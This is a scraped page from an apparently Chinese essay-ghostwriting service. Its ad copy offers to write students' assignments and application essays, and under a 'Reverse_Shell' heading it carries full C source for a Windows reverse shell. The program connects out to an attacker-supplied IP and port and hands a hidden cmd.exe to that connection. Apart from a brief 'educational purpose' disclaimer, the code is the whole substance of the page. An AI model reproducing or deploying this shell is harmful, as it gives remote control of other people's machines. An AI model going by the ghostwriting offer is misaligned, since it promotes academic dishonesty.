服务承诺
资金托管
原创保证
实力保障
24小时客服
使命必达
51Due提供Essay,Paper,Report,Assignment等学科作业的代写与辅导,同时涵盖Personal Statement,转学申请等留学文书代写。
51Due将让你达成学业目标
51Due将让你达成学业目标
51Due将让你达成学业目标
51Due将让你达成学业目标私人订制你的未来职场 世界名企,高端行业岗位等 在新的起点上实现更高水平的发展
积累工作经验
多元化文化交流
专业实操技能
建立人际资源圈Reverse_Shell
2013-11-13 来源: 类别: 更多范文
/*
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+This is a little Disclaimer for if you havn't read the one on our site. +
+The tools and tutorials KD-Team develops and publishes are only ment for +
+educational purpose only.WE DO NOT encourage the use of this tools and +
+tutorials for mailicious purpose.We learned a lot during the development of them +
+so we hope you also learn and don't just use it without any brains. +
+We take completly NO responsability for any damage caused by them nor +
+are we or our isp responsible for what you do with them. +
+Greetz: KD-Team +
+http://www.kd-team.com +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
*/
#include
#include
#include
#include
#define RCVBUFSIZE 32
void main(int argc,char *argv[])
{
//Declaring the vars
int sock;
struct sockaddr_in cbAddr;
unsigned short cbPort;
char *cbIp;
WSADATA wsaData;
STARTUPINFO si;
PROCESS_INFORMATION pi={0};
char comspec[MAX_PATH];
//parsing arguments to the corresponding vars.
cbIp = argv[1];
cbPort = atoi(argv[2]);
//starting up wsa
if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
{
printf("WSAStartup() failed");
exit(1);
}
//Make shure it's WSASocket()
if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,0,0,0)) < 0)
{
printf("Socket Failed\n");
WSACleanup();
exit(1);
}
//filling the struct
memset(&cbAddr, 0, sizeof(cbAddr));
cbAddr.sin_family = AF_INET;
cbAddr.sin_addr.s_addr = inet_addr(cbIp);
cbAddr.sin_port = htons(cbPort);
// Establish the connection to the echo server
if (connect(sock, (struct sockaddr *) &cbAddr, sizeof(cbAddr)) < 0)
{
printf("connect() failed\n");
closesocket(sock);
WSACleanup();
exit(1);
}
//Setting up the startupinfo etc to make shure cmd get's a both way traffic
memset(&si,0,sizeof(si));
GetStartupInfo(&si);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (HANDLE)sock;
si.hStdOutput = (HANDLE)sock;
si.hStdError =(HANDLE)sock;
//getting cmd.exe a bit more fancier then hardcoding it.
if(GetEnvironmentVariable("COMSPEC", comspec, MAX_PATH) == 0)
{
printf("Environment var failed\n");
closesocket(sock);
exit(1);
}
if(!CreateProcess(NULL,comspec, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, 0, NULL, &si, &pi)) //CREATE_NO_WINDOW
{
printf("process creation failed\n");
closesocket(sock);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(sock);
}

